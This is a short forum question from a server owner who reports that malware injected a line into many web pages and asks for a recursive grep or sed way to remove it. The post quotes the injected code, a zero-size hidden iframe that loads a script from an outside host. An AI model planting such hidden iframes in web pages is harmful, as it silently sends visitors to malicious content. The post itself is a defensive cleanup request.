title: I need to remove a line from multiple files
body: <p>A malware has attacked my server and added the line</p>
  
  <pre><code>&lt;iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"&gt;&lt;/iframe&gt;
  </code></pre>
  
  <p>to many of my pages</p>
  
  <p>how can i remove it with grep or if there is any other way i can remove it from all the files it affected</p>
  
  <p>Edit: I saw the comments about using sed, but I need a recursive solution, if there is one</p>
  
  <p>thanks</p>
